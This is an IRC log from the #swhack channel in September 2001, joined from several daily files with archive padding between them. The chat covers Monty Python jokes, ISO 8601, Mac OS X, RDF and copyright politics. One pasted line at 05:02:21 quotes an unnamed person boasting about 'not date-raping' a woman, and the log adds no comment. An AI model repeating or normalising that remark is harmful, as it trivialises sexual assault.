Europe/London 20:12:30 <sbp> 4PM? Grpfhpfh 20:13:03 <sbp> Yep, that should be O.K. 20:39:38 <sbp> sbp has quit 20:48:36 <sbp> sbp has joined #swhack 20:54:50 <sbp> sbp has quit 22:15:01 <Morbus> Morbus has joined #swhack 22:15:28 <AaronSw> hi 22:16:30 <Morbus> hey 22:25:07 <Morbus> get 10.1 yet? 22:35:11 <Morbus> Morbus has quit 22:35:44 <Morbus> Morbus has joined #swhack 22:38:45 <Morbus> Morbus has quit 22:41:39 <Morbus> Morbus has joined #swhack 23:01:53 <nils2020> nils2020 has joined #swhack 23:02:04 <nils2020> and now ? 23:02:32 <nils2020> who is a hacker here ? 23:02:52 <nils2020> DCC Chat (217.80.218.76) 23:05:12 <AaronSw> no, did you, Morbus? 23:05:26 <AaronSw> nils, this is not a cracker channel 23:06:17 <nils2020> nils2020 has left #swhack 23:06:28 <Morbus> i told him that too. he dcc'd me the bitch 23:06:39 <Morbus> i'm like "no. software trickery" close window. 23:06:40 <Morbus> :) 23:06:53 <AaronSw> heh 23:06:59 <AaronSw> have 10.1 yet? 23:07:05 <Morbus> no. you? 23:07:17 <AaronSw> nope 23:07:21 <Morbus> poo 23:07:42 <AaronSw> Heh: http://www.theonion.com/onion3734/us_vows_to_defeat_whoever.html 23:12:25 <Morbus> did you try kdx? 23:12:46 <Morbus> ah. did you get any of the rackers? 23:12:54 <AaronSw> huh? 23:13:00 <Morbus> trackers, rather 23:15:24 <AaronSw> nah 23:15:38 <sbp> sbp has joined #swhack 23:15:43 <Morbus> woOoO! 23:15:46 <AaronSw> hi sbp 23:16:50 <sbp> sbp has quit 23:17:03 <AaronSw> ok, gotta run -- Yom Kippur is starting. See you all tomorrow night. 23:17:05 <Morbus> well, that was eventful. 23:17:07 <Morbus> ciao 23:17:11 <AaronSw> :-) bye sbp 23:17:18 <AaronSw> bye, bye 23:23:09 <sbp> sbp has joined #swhack 23:23:31 <sbp> Has Yom Kippur started yet? 23:23:37 <Morbus> yup 23:23:53 <sbp> Ah, I missed Aaron then 23:24:04 <Morbus> aaron left a bit ago. 23:24:09 <sbp> So I did: 23:17:03 <AaronSw> ok, gotta run -- Yom Kippur is starting. See you all tomorrow night. 23:24:10 <Morbus> indeed you did 23:24:19 <sbp> I did 23:24:30 <sbp> No one expects the Spanish Inquisition! 23:24:59 <Morbus> holy handgrenade? 23:26:09 <sbp> Brother Maynard, bring up the Holy Handgrenade! 23:26:52 <sbp> Ugh, you've got me started now 23:26:59 <Morbus> hehe 23:27:27 <sbp> Trouble at th' mill? 23:28:03 <Morbus> i'm not dead! 23:28:07 <sbp> Ministry Of Silly Walks was on yesterday... 23:28:08 <Morbus> i feel happy! 23:29:01 <sbp> whack! 23:29:55 <Morbus> i'm here for an argument. 23:30:06 <sbp> It's a dogs... er mans life in the army 23:30:46 <sbp> you don't want to argue 23:31:08 <sbp> Know what I mean? Nudge nudge, wink wink 23:31:59 <Morbus> this is a dead parrot! 23:32:12 <sbp> it's a stiff! this parrot has ceased to be! 23:32:17 <sbp> it is an *ex*-parrot! 23:32:17 <Morbus> hehehe 23:32:27 <sbp> no guv, it's just sleeping 23:32:27 <Morbus> um, you know, i think we're pretty cool <G> 23:32:31 <sbp> :-) 23:32:38 <Morbus> speaking of fanboy, you watching UPN tonight? 23:32:51 <sbp> UPN? In the UK? Are you O.K.? 23:32:58 <Morbus> uh. i forget. nevermind. 23:33:01 <Morbus> whistle, whistle. 23:33:43 <sbp> No no he's not dead, he's, he's restin'! Remarkable bird, the Norwegian Blue, idn'it, ay? Beautiful plumage! 23:33:54 <Morbus> pining for the fyords?! 23:34:44 <sbp> 'e's not pining, he's passed on! 23:34:58 <sbp> This parrot is no more! 23:35:03 <Morbus> hehehh 23:35:06 <tav`> tav` has quit 23:35:07 <sbp> * sbp could do this for ages 23:35:09 <Morbus> albatross! 23:35:49 <sbp> it's a bloody bird... no flavour, it's an albatross 23:36:05 <deltab> you should write example Python code, then 23:36:19 <sbp> :-) 23:36:30 <sbp> aaaaargh, spiny Norman! 23:37:40 <sbp> * sbp mumbles something about a larch 23:37:45 <sbp> number one. The Larch 23:39:20 <sbp> And now for something completely different: a man with three buttocks 23:39:45 <Morbus> dammit 23:39:56 <Morbus> anyone have a link to iso 8601? 23:40:05 <Morbus> i need to find out the date/time syntax 23:40:14 <deltab> I have it somewhere 23:41:24 <sbp> No I don't care for ISO specifications. I didn't want to be a technology guy 23:41:26 <deltab> Markus Kuhn's page has all the important stuff about it 23:41:28 <sbp> I wanted to be... 23:41:33 <sbp> a lumberjack! 23:41:40 <Morbus> heheheh 23:41:49 <sbp> I'm a lumberjack and I'm O.K., I sleep all night and I work all day... 23:41:54 <sbp> :-) 23:41:56 <Morbus> deltab, a link to that? i don't know that one. 23:42:03 <Morbus> sit on my face! and tell me that you love me! 23:42:09 <sbp> http://www.cl.cam.ac.uk/~mgk25/iso-time.html 23:42:34 <sbp> http://www.w3.org/TR/NOTE-datetime has a bit about it too 23:42:49 <sbp> spam, spam, spam, spam, spam, spam, spam, spam, spam... 23:42:58 <sbp> ooh, sorry. Got carried away there 23:43:03 <Morbus> odd. i thouht i tried that cam.ac.uk page 23:43:21 <sbp> just go to http://www.google.com/search?q=%22ISO+8601%22 23:43:24 <sbp> lots of stuff 23:43:57 <deltab> http://www.google.com/search?q=iso+8601&btnI= :-) 23:44:18 <deltab> http://www.cl.cam.ac.uk/~mgk25/iso-time.html 23:45:28 <Morbus> thanks 23:47:04 <sbp> sbp has quit 23:47:20 <sbp> sbp has joined #swhack 23:47:34 <tav`> tav` has joined #swhack 23:48:07 <Morbus> is uncrucial a word? 23:48:19 <Morbus> no. nevermind 23:48:42 <sbp> no, it's not 23:48:59 <sbp> so was your question not crucial, then? 23:49:03 <Morbus> :) 23:49:55 <sbp> 39 pages think that it does exist: http://www.google.com/search?q=uncrucial 23:50:02 <Morbus> lol 23:50:29 <Morbus> welp, i'm leaving 23:51:06 <sbp> have fun, what ever you do 23:51:09 <sbp> and rock on! 23:51:12 <Morbus> :) 23:51:13 <Morbus> Morbus has left #swhack 23:54:10 <sbp> sbp has quit 23:55:49 <sbp> sbp has joined #swhack 23:56:08 <sbp> :-) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-27.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000001452�07354727237�012032� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:02:08 <logster> logster has joined #swhack 00:02:08 <niven.openprojects.net> topic is: Homer: Twenty dollars? I wanted a peanut! 00:02:08 <niven.openprojects.net> Users on #swhack: logster tav` tav AaronSw deltab 01:55:57 <Morbus> Morbus has joined #swhack 01:59:23 <Morbus> welp, enterprise was certainly interesting. 01:59:30 <Morbus> i can't believe they added softcore to it though 02:11:36 <Morbus> Morbus has quit 14:14:57 <sandro> sandro has joined #swhack 16:55:08 <sbp> sbp has joined #swhack 16:59:10 <sbp> sbp has quit 16:59:30 <sbp> sbp has joined #swhack 17:05:04 <sbp> sbp has quit 17:06:50 <sbp> sbp has joined #swhack 17:27:16 <sbp> sbp has quit 17:47:53 <sbp> sbp has joined #swhack 17:57:50 <sbp> sbp has quit 22:45:10 <Morbus> Morbus has joined #swhack 22:56:31 <Morbus> Morbus has quit ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-28.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000126700�07355204053�012022� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:33:12 <logster> logster has joined #swhack 00:33:12 <niven.openprojects.net> topic is: Homer: Twenty dollars? I wanted a peanut! 00:33:12 <niven.openprojects.net> Users on #swhack: logster Morbus sandro tav` tav AaronSw deltab 00:39:43 <Morbus> Morbus has quit 00:57:32 <sbp> sbp has joined #swhack 01:09:04 <sbp> sbp has quit 01:45:59 <Morbus> Morbus has joined #swhack 01:48:10 <Morbus> Morbus has quit 02:26:35 <sbp> sbp has joined #swhack 02:26:55 <AaronSw> wow, good timing! 02:27:06 <AaronSw> I just got home 2 seconds ago 02:27:23 <sbp> Well, there ya go :-0 02:27:28 <sbp> s/:-0/:-) 02:27:47 <sbp> But I can't stay... I'm on the expensive connection, just grabbing a file 02:27:49 <AaronSw> heh 02:27:55 <AaronSw> Oh, why the expensive one? 02:28:12 <AaronSw> Sheesh, 300 new messages 02:28:21 <sbp> The powers that be forced me too 02:29:07 <sbp> sbp has quit 02:29:12 <sbp> sbp has joined #swhack 02:29:30 <sbp> gbmrrmgmrblrr 02:34:52 <sbp> sbp has quit 02:42:33 <sbp> sbp has joined #swhack 02:42:40 <AaronSw> wb 02:42:49 <sbp> Woo! 02:42:51 <sbp> ty 02:42:58 <AaronSw> np 02:49:24 <sbp> * sbp downloads IE6... again! 02:56:00 <AaronSw> BSXN? How different from RELAX's non-XML syntax? 02:56:32 <sbp> Aaaaaargh! Someone found my little secret 02:56:44 <sbp> RELAX's non-XML syntax, dunno 02:57:02 <sbp> I think you mean BXSN, BTW 02:57:21 <AaronSw> Yeah. 02:57:38 <AaronSw> Clark (?) did a RELAX non-XML for RDF. 02:57:49 <AaronSw> Looked pretty good, and it passed most test cases, apparently. 02:58:01 <AaronSw> Woohoo, http://www.apple.com/quicktime/qtv/seybold_01/ is up. 02:58:06 <AaronSw> Why wasn't that there when I was looking for it? 02:58:34 <sbp> Do you have the URI for that Clark thing? I think I came across it... 02:58:52 <AaronSw> It's in www-rdf-comments somewher... 03:00:28 <AaronSw> Heh: "Due to the recent events we've had to make some changes in our program... I was supposed to be introducing Steve Jobs live via satellite from Paris, France... I hope you won't be too disappointed if I introduce Steve Jobs live via Stage Right." <crowd goes wild> 03:01:10 <sbp> lol 03:01:26 <AaronSw> sbp, RELAX is at http://lists.w3.org/Archives/Public/www-rdf-comments/2001JulSep/0238.html 03:01:31 <AaronSw> and the resulting thread 03:02:00 <sbp> cheers 03:02:23 <sbp> ah, it's working... 03:02:42 <AaronSw> what is? 03:03:01 <sbp> Oh... IE6 03:03:05 <sbp> er... IE5.5 03:03:16 <sbp> it got stuck for some reason a second ago :-) 03:03:49 <sbp> Oh dear, it does seem quite similar to BXSN 03:04:39 <sbp> Hmm... something keeps beeping... 03:05:30 <sbp> Man, it's bugging the crap out of me. Where's it coming from? 03:06:38 <sbp> It sounds like a very, very, quiet telephone 03:06:48 <AaronSw> hmm, PM sound? 03:07:07 <sbp> PM? 03:07:17 <AaronSw> Private Message 03:07:26 <sbp> my speaker's off... 03:08:52 <AaronSw> Sheesh, people actually think the attacks in NYC is an excuse to spam me! Grrr. 03:11:31 <AaronSw> Heh, em copied large chunks from Semantic Web In Breadth into http://lists.w3.org/Archives/Public/www-rdf-comments/2001JulSep/0238.html 03:12:36 <sbp> Heh, that beeping was the 'phone saying that it needed to be recharged 03:12:42 <AaronSw> heh 03:19:12 <AaronSw> From #rdfprimer: 03:19:14 <AaronSw> <em> +sean 03:19:15 <AaronSw> <em> lol! 03:19:18 <AaronSw> What was so funny? 03:20:24 <sbp> Hmm... I dunno. I made a few jokes though. Where's the transcript? 03:20:28 <sbp> is it online? 03:20:45 <AaronSw> Yeah... http://ilrt.org/discovery/chatlogs/rdfprimer/ should have it 03:21:13 <AaronSw> Wanna share the jokes? (Eric didn't log them... hmmph, I always log jokes that make fun of _him_!) 03:21:36 <sbp> Hmm... I'm not sure if I remember them... 03:22:04 <sbp> One was where we were talking about putting in a section about how to gain financially from RDF 03:22:10 <sbp> (Guess who started that) 03:22:29 <AaronSw> Ora? 03:22:40 <sbp> And I said, "actually, if we did rename the primer 'How To Make Money With RDF', at least we'd get a lot more people reading it" 03:22:46 <sbp> Ora: of course 03:22:53 <AaronSw> Heh! 03:23:07 <AaronSw> "How to Make Money on the Internet" would do even better! 03:23:25 <sbp> Yeah :-) We could start sending RDF spam 03:23:34 <AaronSw> Hmm, it was a short telecon. 03:23:50 <sbp> About 1:18 03:24:07 <sbp> It was great hearing them all! 03:24:22 <AaronSw> Yeah, I bet. You guys will have to repeat it for me! :) 03:24:29 <sbp> :-) 03:24:40 <AaronSw> To the word! 03:24:46 <AaronSw> I suppose you didn't record it for me... :( 03:24:55 <sbp> I started, but gave up 03:25:03 <AaronSw> Really? 03:25:11 <sbp> Yeah 03:25:16 <AaronSw> I was going to set up an automated system to dial-in and record it into MP3, but didn't have time to set it up 03:25:20 <sbp> I figured someone else would be doing it 03:25:29 <sbp> wow, that'd be great 03:25:34 <sbp> Gotta run 03:25:40 <AaronSw> c'ya 03:26:32 <AaronSw> * AaronSw finds himself jumping up and down and screaming "Give me 10.1 already!" 03:26:33 <sbp> sbp has quit 03:29:40 <AaronSw> Whoo! Beatles songs in the keynote! 03:31:27 <AaronSw> Whoo, accessibility features! 03:31:53 <AaronSw> "It is a miracle that curiosity survives formal education." -Albert Einstein 03:32:12 <AaronSw> AaronSw has changed the topic to: "It is a miracle that curiosity survives formal education." -Albert Einstein 03:38:51 <sbp> sbp has joined #swhack 03:39:20 <sbp> Ah, IE6... 03:39:25 <sbp> Cool new logo, too 03:40:32 <AaronSw> 5.1/OSX has a new logo too... 03:40:42 <AaronSw> But I have to wait until Saturday to get it... :-( 03:40:50 <sbp> He he he 03:52:10 <AaronSw> Whoo, Tony Hawk. This is getting to be a good keynote. :) 03:52:29 <sbp> Tony who? 03:52:45 <AaronSw> Tony Hawk! .. Famous skateboarder. 03:52:51 <AaronSw> Ooh, and the Monsters, Inc. Trailer. 03:53:04 <sbp> Oh, of course! 03:53:08 <AaronSw> Heh: "Did you lose weight? ... Or a limb?" 04:04:29 <AaronSw> Whoo, Sal Sagoian!!! Yes! 04:06:26 <AaronSw> Cool, there's Tcl OSA... Didn't know that. 04:07:13 <AaronSw> Wow, resizing straight from browser and reloading... I need that! 04:09:51 <AaronSw> Wow, Sal's stuff is awesome! 04:10:30 <AaronSw> He's using a public SOAP service to do temperature based queries and update an SVG map with the proper colors in relation to the current temperatures! 04:14:48 <AaronSw> Sal rocks the house, man! 04:14:53 <AaronSw> Go Sal! 04:15:08 <sbp> Sal? 04:15:17 <AaronSw> Sal Sagoian, AppleScript Guru 04:15:27 <AaronSw> He's the guy who understands bringing systems and products together. 04:15:31 <AaronSw> The stuff he does is incredible. 04:16:09 <AaronSw> He just did a demo where he made a real-estate brochure by pulling data out of a database, reformatting it into paragraphs, sticking it into a publishing template, grabbing relevant folders out of a photo, resize them, scale them and put them in place... 04:16:16 <AaronSw> All of this was scripted and done at the click of a button! 04:17:00 <sbp> wow 04:18:58 <AaronSw> He had another demo where he was manipulating an on-disk news-page from aggregated RSS feeds using only a speech interface. 04:19:11 <AaronSw> Only on a Mac, baby! 04:19:21 <AaronSw> And you can do this all from Python now: http://wmf.editthispage.com/discuss/msgReader$5823 04:19:34 <AaronSw> Plus, by the end of this year you should be able to give it a full Macintosh UI! 04:20:10 <sbp> He he he:- 04:20:12 <sbp> [[[ 04:20:12 <sbp> <chillywilly> it is nice having the Linux kernel in CVS as if you want xfs file system you need to check out SGI's kernel and they are sane, unlike Linus, and keep it in cvs 04:20:12 <sbp> <chillywilly> well that sentence is a bit redundant :P 04:20:12 <sbp> <sbp> sentences, eh? They go out of date so fast these days... 04:20:14 <sbp> ]]] 04:22:43 <AaronSw> Heh. 04:25:53 <AaronSw> Mac OS X is the only OS that makes me shiver with excitement! Apple is still incredible... 04:29:13 <sbp> I'll bet it's not all that configurable 04:29:21 <AaronSw> Sure it is! 04:29:30 <AaronSw> Totally configurable -- Mac users insist it. 04:30:07 <sbp> O.K., can you make all of the files display as partial path names in a folder? 04:31:08 <AaronSw> Partial path names? 04:31:29 <AaronSw> Like you want to see all the files in your hard drive in a big list? 04:31:33 <AaronSw> Sure, you can do that. 04:31:38 <sbp> yeah. So in folder /a/, /a/b/c/ displays as "b/c/" and so on 04:31:50 <AaronSw> Oh, I see. 04:31:53 <AaronSw> Hmm... 04:31:56 <sbp> but, as files in that directory 04:32:08 <sbp> that'd be pretty cool... I've always wanted that 04:32:17 <sbp> but just for some directories 04:32:25 <AaronSw> Hmm, perhaps send in a feature request: http://www.apple.com/macosx/feedback/ 04:32:33 <sbp> can you imagine it for just the hard drive! Eek 04:32:33 <AaronSw> I can't think of how to do that. 04:32:38 <AaronSw> Heh! 04:32:46 <AaronSw> Well, you can do it as an outline view. 04:32:51 <AaronSw> just pop open all the folder boxes... 04:33:00 <AaronSw> I suppose you can do that on Windows too. 04:33:14 <sbp> yep 04:33:22 <sbp> just do a search, or whatever 04:33:30 <sbp> display in list form... 04:34:22 <AaronSw> Or pop open the terminal and do a find . 04:34:34 <AaronSw> Oh, I guess you can't do that in Windows. ;) 04:34:56 <sbp> terminal? 04:35:49 <AaronSw> Yeah, Terminal in Mac OS X -- just pop open a standatd UNIX Terminal. 04:35:52 <lilo> [GlobalNotice] Hi all. Services will be coming back in just a moment. Please bear with us during the accompanying splits. 04:36:20 <sbp> blargh 04:36:24 <sbp> like DOS? 04:36:35 <AaronSw> Well, yeah, but so much more useful. 04:36:37 <AaronSw> UNIX rocks, man. 04:36:42 <AaronSw> cvs update! 04:37:03 <ChanServ> ChanServ has changed the topic to: 04:38:09 <AaronSw> UNIX, UNIX, UNIX! :) 04:38:24 <AaronSw> AaronSw has changed the topic to: "It is a miracle that curiosity survives formal education." -Albert Einstein 04:40:20 <sbp> but with Windows... er... 04:46:15 <AaronSw> LOL: "Libraries have a wonderful image," complained AAP president Pat Schroeder -- while in her twisted view of reality, they are taking away royalties from the poor, starving authors. 04:46:40 <AaronSw> cite: http://www.infoanarchy.org/?op=displaystory;sid=2001/9/27/133145/146 04:46:45 <AaronSw> cf. http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&node=digest&contentId=A36584-2001Feb7 04:46:51 <sbp> This channel is quite useful really, isn't it? 04:47:24 <AaronSw> Indeed. 04:47:37 <AaronSw> That's just awful. I was wondering when they'd go after libraries. 04:47:52 <AaronSw> Yuck, yuck, yuck. It's so unconstitutional. 04:48:18 <AaronSw> Cool: http://www.publiclibraryofscience.org/ 04:48:24 <AaronSw> [[[ 04:48:26 <AaronSw> The Public Library of Science is a non-profit organization of scientists committed to making the world's scientific and medical literature freely accessible to scientists and to the public around the world, for the benefit of scientific progress, education and the public good. 04:48:26 <AaronSw> ]]] 04:48:33 <sbp> LOL: 04:48:35 <sbp> About Sklyarov, she says: "The Justice Department arrested the Russian hacker while he was in the U.S. AAP was delighted that the Justice Department was taking the Act seriously and sent a letter to the Attorney General to that effect." 04:48:50 <AaronSw> Ugh, I want to throw up on her. 04:48:57 <sbp> lol! 04:49:05 <AaronSw> Re Public Library of Science: Now _that's_ constitutional. 04:49:12 <AaronSw> Hmm, we should start a weblog. 04:49:18 <AaronSw> We've got good stuff here. ;) 04:50:11 <AaronSw> Cool! 27,924 people have agreed to: 04:50:12 <AaronSw> [[[ 04:50:13 <AaronSw> To encourage the publishers of our journals to support this endeavor, we pledge that, beginning in September, 2001, we will publish in, edit or review for, and personally subscribe to, only those scholarly and scientific journals that have agreed to grant unrestricted free distribution rights to any and all original research reports that they have published, through PubMed Central and similar online public resources, within 6 months of their ini 04:50:13 <AaronSw> ]]] 04:50:16 <sbp> Yeah! Damn straight 04:50:30 <sbp> oops sorry, didn't mean to fuck up your quote deeley 04:51:05 <AaronSw> Heh! 04:51:10 <AaronSw> """"Since no software can read intent, it is impossible to give people unlimited right to copy electronically because the copy could be sent to millions." In other words: A tool is illegal if it can be used for something that is bad. Better hide your hammers and kitchen knives. """ 04:51:59 <AaronSw> Wow: "in Germany, where scanners are artificially slowed with special drivers so that they do not fall under the photocopier category -- which would incur higher royalties -- I do not make this up" 04:51:59 <sbp> That has to be the rudest possible thing to do on IRC; to fuck up someone's quote deeley. It's the equivalent of getting on a table and waving your arse in the air during a board meeting 04:52:09 <sbp> Yeah, I just read that bit 04:52:15 <AaronSw> quote deeley: LOL! I don't think it's that bad. 04:52:22 <sbp> :-) 04:53:08 <sbp> Terje brings up a good point: why don't we have a Blog where anything we prefix with [on] goes on it? 04:54:33 <sbp> Hello? 04:55:56 <AaronSw> Yeah, that'd be cool. 04:56:01 <AaronSw> But you'd want to reorder stuff, and do links. 04:56:46 <sbp> we could have HTTP editing mode as well; Blogspace! 04:56:48 <sbp> <myrddian> Yo People! 04:56:48 <sbp> <myrddian> I am here!!!!!!!!!!!! 04:56:48 <sbp> <myrddian> THE CROWS CHEERS! 04:56:48 <sbp> <myrddian> CrowD! 04:56:48 <sbp> <myrddian> DOH! 04:56:49 <sbp> <ajmitch> haha 04:56:51 <sbp> <ajmitch> nice entrance ;) 04:56:53 <sbp> <sbp> lol 04:56:55 <sbp> oops... 04:56:57 <sbp> let me do that again 04:56:59 <sbp> [[[ 04:57:01 <sbp> <myrddian> Yo People! 04:57:03 <sbp> <myrddian> I am here!!!!!!!!!!!! 04:57:05 <sbp> <myrddian> THE CROWS CHEERS! 04:57:07 <sbp> <myrddian> CrowD! 04:57:09 <sbp> <myrddian> DOH! 04:57:11 <sbp> <ajmitch> haha 04:57:12 <AaronSw> * AaronSw fecks with the quote deeley. 04:57:13 <sbp> <ajmitch> nice entrance ;) 04:57:15 <sbp> <sbp> lol 04:57:16 <AaronSw> You spammed, you deserve it. 04:57:17 <sbp> ]]] 04:57:19 <sbp> there 04:57:23 <sbp> :-) 04:57:41 <AaronSw> Yes, live to Blogspace would be cool. 04:57:48 <AaronSw> But we'd have to worry about the lost update problem, I suppose. 04:57:53 <sbp> I didn't spam, and you missed the quote deeley 04:58:01 <sbp> lost update: you should win by default 04:58:11 <AaronSw> spam: No, I didn't It's just your client. 04:58:16 <AaronSw> lost update: Which me? 04:59:11 <sbp> you, you 04:59:27 <sbp> anyway, go set it up! Do it now 04:59:33 <sbp> now! 04:59:37 <sbp> :-) 04:59:53 <sbp> Come on, before the next Jewish holiday... 05:00:12 <AaronSw> Heh. 05:00:18 <AaronSw> Nah, I'll wait until BlogspacePy is out. 05:00:58 <sbp> Why don't you write it yourself? 05:01:21 <AaronSw> BlogspacePy: I am writing it. 05:01:49 <sbp> So why are you waiting until it is released then? If you're writing it and waiting, then it won't get done! 05:02:03 <AaronSw> Now you know why my software is so delayed! 05:02:04 <AaronSw> :) 05:02:21 <AaronSw> <[deleted]> I demonstrated a fair amount of self-control by not date-raping her - she had me over at her house, giving her a massage *in her bed* an then got freaky when I tried to feel her up 05:02:25 <sbp> aha! the truth is out 05:02:36 <sbp> Hmm... 05:07:56 <AaronSw> tav, have you seen http://www.infoanarchy.org/?op=comments&sid=2001/9/27/133145/146&cid=2#2 ? 05:08:21 <AaronSw> Ooh, great quote: 05:08:21 <AaronSw> "The VCR is to the American film producer and the American public as the Boston Strangler is to the woman alone." - Jack Valenti, MPAA 05:08:32 <sbp> Wow, where did sandro come from? 05:08:50 <AaronSw> 9:16 AM 05:09:26 <sbp> where? 05:09:41 <AaronSw> Beats me... 05:09:53 <sbp> * sbp beats Aaron 05:10:02 <AaronSw> No, I used the plural, dumbo. 05:10:11 <sbp> * sbp now has Mozilla installed 05:10:15 <sbp> yeah, I know... 05:10:41 <sbp> I thought you were using a new grammar form 05:11:00 <AaronSw> Pfft. Wait until the Blindfold grammar comes out. 05:11:31 <sbp> :-) 05:14:04 <AaronSw> Hmm, I didn't know Sandro has an SWWS position paper: 05:14:05 <AaronSw> http://www.google.com/search?q=cache:nW1K5znXeaM:www.semanticweb.org/SWWS/program/position/soi-hawke.pdf+%22sandro+hawke%22+bi&hl=en 05:17:08 <AaronSw> I still don't understand why the UN hired Angelina Jolie: 05:17:09 <AaronSw> http://www.nandotimes.com/entertainment/story/108858p-1227746c.html 05:18:16 <sbp> Ooh, IE6's privacy feature is pretty cool 05:20:29 <sbp> Gotta run 05:20:32 <AaronSw> bye 05:20:36 <sbp> get that blog set up! 05:20:38 <sbp> c'ya 05:20:42 <AaronSw> heh, someday... 05:20:48 <sbp> sbp has quit 05:25:36 <AaronSw> Steve Newcomb strikes again: http://lists.w3.org/Archives/Member/w3c-xml-sig/1998Jun/0358.html 05:25:40 <AaronSw> http://www.techno.com/ 05:25:47 <AaronSw> [[[ 05:25:48 <AaronSw> These domain names were first offered for sale on July 18, 2001. TechnoTeacher, Inc. was the original registrant (back in 1992), and they have never been used by any other company or for any purpose other than to promulgate SGML/XML-related standards and technology. TechnoTeacher Inc. was dissolved on December 31, 2000, and I am now the owner of its assets. TechnoTeacher's successor, and the owner of its GroveMinder technology, is Epremis Corpor 05:25:49 <AaronSw> ]]] 05:25:51 <AaronSw> Interestng. 05:34:23 <AaronSw> -- 05:34:25 <AaronSw> (Thanks to Wesley Felter's site Hack the Planet[1] for these pointers.) 05:34:26 <AaronSw> Interesting new organization, the Liberty Alliance, has formed: 05:34:26 <AaronSw> http://projectliberty.org/ 05:34:29 <AaronSw> Charter members include: American Airlines, Apache, Cingular Wireless, Cisco Systems, CollabNet, Dun and Bradstreet, eBay, GM, Intuit, Openwave, O'Reilly, RealNetworks, RSA Security, Sony, Sprint, Sun Microsystems, Travelocity, United Airlines, Verisign, and more. 05:34:30 <AaronSw> Microsoft considers joining: 05:34:30 <AaronSw> http://www.infoworld.com/articles/hn/xml/01/09/27/010927hnliberty.xml 05:34:31 <AaronSw> [1] http://wmf.editthispage.com/ 06:19:43 <AaronSw> -- 06:19:49 <AaronSw> Quick, start up the sbp fan club! 06:19:51 <AaronSw> <benny_g> Sean knows everything 06:19:55 <AaronSw> :) 06:23:51 <AaronSw> -- 06:24:10 <AaronSw> I'm working on the ideal Python RDF API. Thoughts? (Especially from sbp...) 06:38:14 <AaronSw> -- 06:38:23 <AaronSw> Ugh, now that I've taken the SAT I'm getting all this college spam. 06:38:45 <AaronSw> Since they're clearly making so much money by renting my name out, why do I have to pay for the stupid test? 06:39:04 <AaronSw> Good thing I didn't give them my email address -- only paper spam. 06:40:17 <AaronSw> I also got a great thing trying to get me to sign up for a teenage focus group. 06:40:56 <AaronSw> It classified teenagers into like 10 different groups... skateboarders, do-good-in-schoolers, bookworms, music-lovers, scifi/fantasy, etc. 06:41:02 <AaronSw> It was sort of depressing. 06:42:36 <AaronSw> -- 06:42:50 <AaronSw> WikiPedia seems to be doing rather well. Good for them! 06:42:55 <AaronSw> http://www.wikipedia.com/ 06:43:11 <AaronSw> I wonder what Wiki they use. 06:48:10 <AaronSw> -- 06:48:39 <AaronSw> LOL, someone submitted a feature request to the IE/Mac team with a proposed "what do you want to do with this file" dialog box with new button: 06:48:58 <AaronSw> "VIEW USING THE D**N BROWSER!" 06:49:15 <AaronSw> In case it wasn't clear enough, he annotated this button with a sticky: "Here is the button we need" 06:49:35 <AaronSw> A lot like Lynn's request to the browser folk. 06:49:40 <deltab> hehe 06:49:47 <deltab> Links has that :-) 06:50:14 <AaronSw> But I bet it isn't labeled as nicely! :) 06:52:00 <AaronSw> http://www.lewrockwell.com/orig2/wallace2.html (via deltab) 06:53:35 <deltab> via dash in #python 06:59:01 <AaronSw> -- 06:59:11 <AaronSw> Guiness Book of World Records strikes again: 06:59:11 <AaronSw> http://www.ananova.com/news/story/sm_409528.html?menu=news.latestheadlines 07:06:25 <AaronSw> -- 07:06:34 <AaronSw> Heh, a Jan Grant .sig: "Leverage that synergy! Ooh yeah, looking good! Now stretch - and relax." 08:00:19 <deltab> deltab has quit 08:03:26 <deltab> deltab has joined #swhack 08:04:32 <AaronSw> what blew up this time, deltab? 08:43:19 <AaronSw> -- 08:43:24 <AaronSw> Heh, some people are so gullible: 08:43:26 <AaronSw> http://www.slowwave.com/Img/s01/sMAKali.gif 08:45:41 <AaronSw> -- 08:47:04 <AaronSw> I hate this contradiction proof of the "greatest integer" -- it's clear that anyone who believes in a greatest integer is not going to believe that N +1 > N is always true. 08:47:25 <AaronSw> Lots of people i've seen think infinity is the greatest integer, and that infinity +1 = infinity 11:43:10 <AaronSw> -- 11:43:16 <AaronSw> Heheh, http://www.theonion.com/onion3734/on_tv_tonight_3734.html 11:44:27 <AaronSw> on Nickelodeon: "Clarissa Explains the Attack on America / SpongeJohn SquareAshcroft / Rugrats Rising" 12:25:09 <AaronSw> -- 12:25:16 <AaronSw> Reagle's third personality: http://goatee.net/ 12:25:23 <AaronSw> A sXe anarchist FoRKing MIT alum 12:48:40 <AaronSw> AaronSw has quit 12:54:03 <sandro> sandro has quit 13:03:31 <AaronSw> AaronSw has joined #swhack 13:07:27 <AaronSw> Ann Apps is such a great name for someone working on RDF! 13:24:51 <AaronSw> AaronSw has quit 13:55:38 <AaronSw> AaronSw has joined #swhack 14:57:50 <AaronSw> AaronSw has quit 17:35:47 <Morbus> Morbus has joined #swhack 17:36:19 <Morbus> i can't believe it. i have to pay $9.95 for 10.1 17:36:22 <Morbus> Morbus has left #swhack 17:42:21 <AaronSw> AaronSw has joined #swhack 17:44:17 <AaronSw> Caroline Rose, one of the best technical writers: http://linus.differnet.com/crose/ 17:44:23 <AaronSw> Imagine if we got her for the Primer... 17:44:35 <AaronSw> -- 17:44:46 <AaronSw> I just had the most beautiful mind bomb, if I do say so myself. 17:44:56 <AaronSw> It hit me walking on the way to the train station from school. 17:45:26 <AaronSw> I want to bookmark this moment, since I think all of the Internet may be rebuilt in this image. 17:45:37 <AaronSw> Not that I was the first to think of it, of course. 17:46:43 <AaronSw> Unlike a normal bomb, where you try to dodge the shrapnel, with a mind bomb, you try to catch them all, as each contains a beautiful related idea. 17:47:21 <AaronSw> http://lists.w3.org/Archives/Public/www-archive/2001Sep/0067.html 18:06:35 <AaronSw> -- 18:11:01 <AaronSw> Hmm, apparently it hit Danny/Ralph/Eric at about the same time it hit me. 18:16:38 <AaronSw> -- 18:17:05 